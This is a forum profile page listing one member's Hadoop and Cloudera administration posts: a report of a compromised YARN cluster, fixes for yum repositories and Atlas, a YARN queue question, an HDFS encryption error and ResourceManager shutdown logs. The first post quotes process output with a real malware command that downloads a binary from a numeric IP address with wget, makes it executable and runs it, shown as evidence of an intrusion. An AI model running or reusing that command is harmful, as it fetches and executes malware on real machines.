Member since
06-09-2014
7
Posts
0
Kudos Received
0
Solutions
01-30-2019
02:43 PM
I have encountered this issue by three different types on some of our open clusters.
1. Crontab - Already covered in the above post
2.Java process - Already covered in the above post
3. Yarn process - We have seen this issue here as a process which runs as yarn user and launches container. #ps -elf
yarn 2239 2238 0 19:56 ? 00:00:00 /bin/bash -c wget http://178.128.173.178/bins/hoho.x86;chmod 777 *;./hoho.x86 Servers
yarn 2248 2239 0 19:56 ? 00:00:00 wget http://178.128.173.178/bins/hoho.x86
Resolution: Make sure you have correct security groups. Do not open ports to World.
... View more
07-17-2018
08:58 PM
This can be issue with your repository, This issue happens for my RHEL7.3 Using below command, I was able to solve this, #yum clean all #yum-config-manager --enable rhui-REGION-rhel-server-optional #yum repolist
... View more
03-20-2018
05:12 PM
Even if no apps running in YARN, it shows some no. in Num Schedulable Applications as 356 or 354 Amabri Version 2.5.2.0 HDP 2.3.4.0 Queue State:RUNNING
Used Capacity:0.0%
Configured Capacity:25.0%
Configured Max Capacity:100.0%
Absolute Used Capacity:0.0%
Absolute Configured Capacity:25.0%
Absolute Configured Max Capacity:100.0%
Used Resources:<memory:0, vCores:0>
Num Schedulable Applications:356
Num Non-Schedulable Applications:0
Num Containers:0
Max Applications:500
Max Applications Per User:2000
Max Application Master Resources:<memory:344064, vCores:1>
Used Application Master Resources:<memory:98304, vCores:24>
Max Application Master Resources Per User:<memory:348160, vCores:1>
Configured Minimum User Limit Percent:100%
Configured User Limit Factor:4.0
Accessible Node Labels:*
Ordering Policy:FairOrderingPolicy with sizeBasedWeight
Preemption:enabled
<br>
Num Schedulable Applications:?
How this value is calculated ?
Any pointers will be helpful.
... View more
Labels:
08-29-2017
03:03 PM
You have to login to HBase and remove master table atlas_titan as below And restart service. hbase(main):003:0> list TABLE ATLAS_ENTITY_AUDIT_EVENTS atlas_titan 2 row(s) in 0.0070 seconds => ["ATLAS_ENTITY_AUDIT_EVENTS", "atlas_titan"] hbase(main):005:0> disable 'atlas_titan' 0 row(s) in 2.5060 seconds hbase(main):006:0> drop 'atlas_titan' 0 row(s) in 1.2730 seconds hbase(main):007:0> exit Restart Atlas service from Ambari UI
... View more
09-09-2015
04:50 AM
CDH Version: CDH5.4.5 Issue: When HDFS Encryption is enabled using KMS available in Hadoop CDH 5.4 , getting error while putting file into encryption zone. Steps: Steps for Encryption of Hadoop as follows: Creating a key [SUCCESS] [tester@master ~]$ hadoop key create 'TDEHDP' -provider kms://https@10.1.118.1/key_generator/kms -size 128 tde group has been successfully created with options Options{cipher='AES/CTR/NoPadding', bitLength=128, description='null', attributes=null}. KMSClientProvider[https://10.1.118.1/key_generator/kms/v1/] has been updated. 2.Creating a directory [SUCCESS] [tester@master ~]$ hdfs dfs -mkdir /user/tester/vs_key_testdir Adding Encryption Zone [SUCCESS] [tester@master ~]$ hdfs crypto -createZone -keyName 'TDEHDP' -path /user/tester/vs_key_testdir Added encryption zone /user/tester/vs_key_testdir Copying File to encryption Zone [ERROR] [tdetester@master ~]$ hdfs dfs -copyFromLocal test.txt /user/tester/vs_key_testdir 15/09/04 06:06:33 ERROR hdfs.KeyProviderCache: Could not find uri with key [dfs.encryption.key.provider.uri] to create a keyProvider !! copyFromLocal: No KeyProvider is configured, cannot access an encrypted file 15/09/04 06:06:33 ERROR hdfs.DFSClient: Failed to close inode 20823 org.apache.hadoop.ipc.RemoteException(org.apache.hadoop.hdfs.server.namenode.LeaseExpiredException): No lease on /user/tester/vs_key_testdir/test.txt.COPYING (inode 20823): File does not exist. Holder DFSClient_NONMAPREDUCE_1061684229_1 does not have any open files. Any idea/suggestion will be helpful.
... View more
11-13-2014
04:51 AM
Adding log : 2014-11-13 04:54:53,098 INFO org.apache.hadoop.yarn.event.AsyncDispatcher: Registering class org.apache.hadoop.yarn.server.resourcemanager.RMFatalEventType for class org.apache.hadoop.yarn.server.resourcemanager.ResourceManager$RMFatalEventDispatcher 2014-11-13 04:54:53,128 WARN com.cloudera.cmf.event.publish.EventStorePublisherWithRetry: Failed to publish event: SimpleEvent{attributes={ROLE_TYPE=[RESOURCEMANAGER], CATEGORY=[LOG_MESSAGE], ROLE=[yarn-RESOURCEMANAGER-ef02b4962ec1793c147acc1f976532d3], SEVERITY=[IMPORTANT], SERVICE=[yarn], HOST_IDS=[9db07d08-be36-4563-9740-9ee7dfb90605], SERVICE_TYPE=[YARN], LOG_LEVEL=[WARN], HOSTS=[node6.cdh.com], EVENTCODE=[EV_LOG_EVENT]}, content=java.io.BufferedInputStream@6ca79f01:an attempt to override final parameter: hadoop.ssl.require.client.cert; Ignoring., timestamp=1415872493017} 2014-11-13 04:54:53,329 INFO org.apache.hadoop.yarn.server.resourcemanager.security.NMTokenSecretManagerInRM: NMTokenKeyRollingInterval: 86400000ms and NMTokenKeyActivationDelay: 900000ms 2014-11-13 04:54:53,332 INFO org.apache.hadoop.yarn.server.resourcemanager.security.RMContainerTokenSecretManager: ContainerTokenKeyRollingInterval: 86400000ms and ContainerTokenKeyActivationDelay: 900000ms 2014-11-13 04:54:53,337 INFO org.apache.hadoop.yarn.server.resourcemanager.security.AMRMTokenSecretManager: AMRMTokenKeyRollingInterval: 86400000ms and AMRMTokenKeyActivationDelay: 900000 ms 2014-11-13 04:54:53,366 INFO org.apache.hadoop.yarn.event.AsyncDispatcher: Registering class org.apache.hadoop.yarn.server.resourcemanager.recovery.RMStateStoreEventType for class org.apache.hadoop.yarn.server.resourcemanager.recovery.RMStateStore$ForwardingEventHandler 2014-11-13 04:54:53,534 INFO org.apache.hadoop.yarn.event.AsyncDispatcher: Registering class org.apache.hadoop.yarn.server.resourcemanager.NodesListManagerEventType for class org.apache.hadoop.yarn.server.resourcemanager.NodesListManager 2014-11-13 04:54:53,534 INFO org.apache.hadoop.yarn.server.resourcemanager.ResourceManager: Using Scheduler: org.apache.hadoop.yarn.server.resourcemanager.scheduler.fair.FairScheduler 2014-11-13 04:54:53,583 INFO org.apache.hadoop.yarn.event.AsyncDispatcher: Registering class org.apache.hadoop.yarn.server.resourcemanager.scheduler.event.SchedulerEventType for class org.apache.hadoop.yarn.server.resourcemanager.ResourceManager$SchedulerEventDispatcher 2014-11-13 04:54:53,584 INFO org.apache.hadoop.yarn.event.AsyncDispatcher: Registering class org.apache.hadoop.yarn.server.resourcemanager.rmapp.RMAppEventType for class org.apache.hadoop.yarn.server.resourcemanager.ResourceManager$ApplicationEventDispatcher 2014-11-13 04:54:53,585 INFO org.apache.hadoop.yarn.event.AsyncDispatcher: Registering class org.apache.hadoop.yarn.server.resourcemanager.rmapp.attempt.RMAppAttemptEventType for class org.apache.hadoop.yarn.server.resourcemanager.ResourceManager$ApplicationAttemptEventDispatcher 2014-11-13 04:54:53,586 INFO org.apache.hadoop.yarn.event.AsyncDispatcher: Registering class
... View more
11-13-2014
04:25 AM
Simple pi calculation Job or any job is failing in newly CDH 5.2 configured cluster. All services are running perfectly. [root@node6 hadoop-mapreduce]# hadoop jar hadoop-mapreduce-examples.jar pi 1 1 Number of Maps = 1 Samples per Map = 1 Wrote input for Map #0 Starting Job 14/11/13 05:30:09 INFO client.RMProxy: Connecting to ResourceManager at mynode6.cdh.com/10.1.80.6:8032 14/11/13 05:30:10 INFO input.FileInputFormat: Total input paths to process : 1 14/11/13 05:30:10 INFO mapreduce.JobSubmitter: number of splits:1 14/11/13 05:30:10 INFO mapreduce.JobSubmitter: Submitting tokens for job: job_1415873852760_0001 14/11/13 05:30:10 INFO impl.YarnClientImpl: Submitted application application_1415873852760_0001 14/11/13 05:30:10 INFO mapreduce.Job: The url to track the job: http://mynode6.cdh.com:8088/proxy/application_1415873852760_0001/ 14/11/13 05:30:10 INFO mapreduce.Job: Running job: job_1415873852760_0001 It hangs after transmitting above message to console. Resource manger error log shows below message: INFO org.apache.hadoop.yarn.server.resourcemanager.scheduler.fair.FairScheduler: Added node mynode6.cdh.com:8041 cluster capacity: <memory:1450, vCores:4> 2014-11-13 05:04:06,865 ERROR org.apache.hadoop.yarn.server.resourcemanager.ResourceManager: RECEIVED SIGNAL 15: SIGTERM 2014-11-13 05:04:06,873 INFO org.mortbay.log: Stopped HttpServer2$SelectChannelConnectorWithSafeStartup@mynode6.cdh.com:8088 2014-11-13 05:04:06,973 INFO org.apache.hadoop.ipc.Server: Stopping server on 8032 2014-11-13 05:04:06,976 INFO org.apache.hadoop.ipc.Server: Stopping IPC Server listener on 8032 2014-11-13 05:04:06,978 INFO org.apache.hadoop.ipc.Server: Stopping IPC Server Responder 2014-11-13 05:04:06,978 INFO org.apache.hadoop.ipc.Server: Stopping server on 8033 2014-11-13 05:04:06,979 INFO org.apache.hadoop.ipc.Server: Stopping IPC Server listener on 8033 2014-11-13 05:04:06,979 INFO org.apache.hadoop.ipc.Server: Stopping IPC Server Responder 2014-11-13 05:04:06,979 INFO org.apache.hadoop.yarn.server.resourcemanager.ResourceManager: Transitioning to standby state 2014-11-13 05:04:06,979 INFO org.apache.hadoop.metrics2.impl.MetricsSystemImpl: Stopping ResourceManager metrics system... 2014-11-13 05:04:06,980 INFO org.apache.hadoop.metrics2.impl.MetricsSystemImpl: ResourceManager metrics system stopped. 2014-11-13 05:04:06,981 INFO org.apache.hadoop.metrics2.impl.MetricsSystemImpl: ResourceManager metrics system shutdown complete. 2014-11-13 05:04:06,981 INFO org.apache.hadoop.yarn.event.AsyncDispatcher: AsyncDispatcher is draining to stop, igonring any new events. 2014-11-13 05:04:06,981 WARN org.apache.hadoop.yarn.server.resourcemanager.amlauncher.ApplicationMasterLauncher: org.apache.hadoop.yarn.server.resourcemanager.amlauncher.ApplicationMasterLauncher$LauncherThread interrupted. Returning. 2014-11-13 05:04:06,981 INFO org.apache.hadoop.ipc.Server: Stopping server on 8030 2014-11-13 05:04:06,985 INFO org.apache.hadoop.ipc.Server: Stopping IPC Server listener on 8030 2014-11-13 05:04:06,986 INFO org.apache.hadoop.ipc.Server: Stopping server on 8031 2014-11-13 05:04:06,986 INFO org.apache.hadoop.ipc.Server: Stopping IPC Server Responder 2014-11-13 05:04:06,990 INFO org.apache.hadoop.ipc.Server: Stopping IPC Server listener on 8031 2014-11-13 05:04:06,991 INFO org.apache.hadoop.ipc.Server: Stopping IPC Server Responder 2014-11-13 05:04:06,992 INFO org.apache.hadoop.yarn.util.AbstractLivelinessMonitor: NMLivelinessMonitor thread interrupted 2014-11-13 05:04:06,992 ERROR org.apache.hadoop.yarn.server.resourcemanager.ResourceManager: Returning, interrupted : java.lang.InterruptedException 2014-11-13 05:04:06,992 WARN org.apache.hadoop.yarn.server.resourcemanager.scheduler.fair.FairScheduler: Update thread interrupted. Exiting. 2014-11-13 05:04:06,993 WARN org.apache.hadoop.yarn.server.resourcemanager.scheduler.fair.FairScheduler: Continuous scheduling thread interrupted. Exiting. java.lang.InterruptedException: sleep interrupted at java.lang.Thread.sleep(Native Method) at org.apache.hadoop.yarn.server.resourcemanager.scheduler.fair.FairScheduler$ContinuousSchedulingThread.run(FairScheduler.java:281) 2014-11-13 05:04:07,009 INFO org.apache.hadoop.yarn.server.resourcemanager.scheduler.fair.AllocationFileLoaderService: Interrupted while waiting to reload alloc configuration 2014-11-13 05:04:07,009 INFO org.apache.hadoop.yarn.event.AsyncDispatcher: AsyncDispatcher is draining to stop, igonring any new events. 2014-11-13 05:04:07,009 INFO org.apache.hadoop.yarn.event.AsyncDispatcher: AsyncDispatcher is draining to stop, igonring any new events. 2014-11-13 05:04:07,009 INFO org.apache.hadoop.yarn.event.AsyncDispatcher: AsyncDispatcher is draining to stop, igonring any new events. 2014-11-13 05:04:07,010 INFO org.apache.hadoop.yarn.event.AsyncDispatcher: AsyncDispatcher is draining to stop, igonring any new events. 2014-11-13 05:04:07,010 INFO org.apache.hadoop.yarn.event.AsyncDispatcher: AsyncDispatcher is draining to stop, igonring any new events. 2014-11-13 05:04:07,010 INFO org.apache.hadoop.yarn.event.AsyncDispatcher: AsyncDispatcher is draining to stop, igonring any new events. 2014-11-13 05:04:07,013 INFO org.apache.hadoop.yarn.event.AsyncDispatcher: AsyncDispatcher is draining to stop, igonring any new events. 2014-11-13 05:04:07,013 INFO org.apache.hadoop.yarn.event.AsyncDispatcher: AsyncDispatcher is draining to stop, igonring any new events. 2014-11-13 05:04:07,013 INFO org.apache.hadoop.yarn.event.AsyncDispatcher: AsyncDispatcher is draining to stop, igonring any new events. 2014-11-13 05:04:07,014 INFO org.apache.hadoop.yarn.event.AsyncDispatcher: AsyncDispatcher is draining to stop, igonring any new events. 2014-11-13 05:04:07,014 INFO org.apache.hadoop.yarn.util.AbstractLivelinessMonitor: AMLivelinessMonitor thread interrupted 2014-11-13 05:04:07,014 INFO org.apache.hadoop.yarn.util.AbstractLivelinessMonitor: org.apache.hadoop.yarn.server.resourcemanager.rmcontainer.ContainerAllocationExpirer thread interrupted 2014-11-13 05:04:07,014 ERROR org.apache.hadoop.security.token.delegation.AbstractDelegationTokenSecretManager: ExpiredTokenRemover received java.lang.InterruptedException: sleep interrupted 2014-11-13 05:04:07,014 INFO org.apache.hadoop.yarn.util.AbstractLivelinessMonitor: AMLivelinessMonitor thread interrupted 2014-11-13 05:04:07,015 INFO org.apache.hadoop.yarn.server.resourcemanager.ResourceManager: Transitioned to standby state 2014-11-13 05:04:07,015 INFO org.apache.hadoop.yarn.server.resourcemanager.ResourceManager: SHUTDOWN_MSG: Any Idea on this ?
... View more
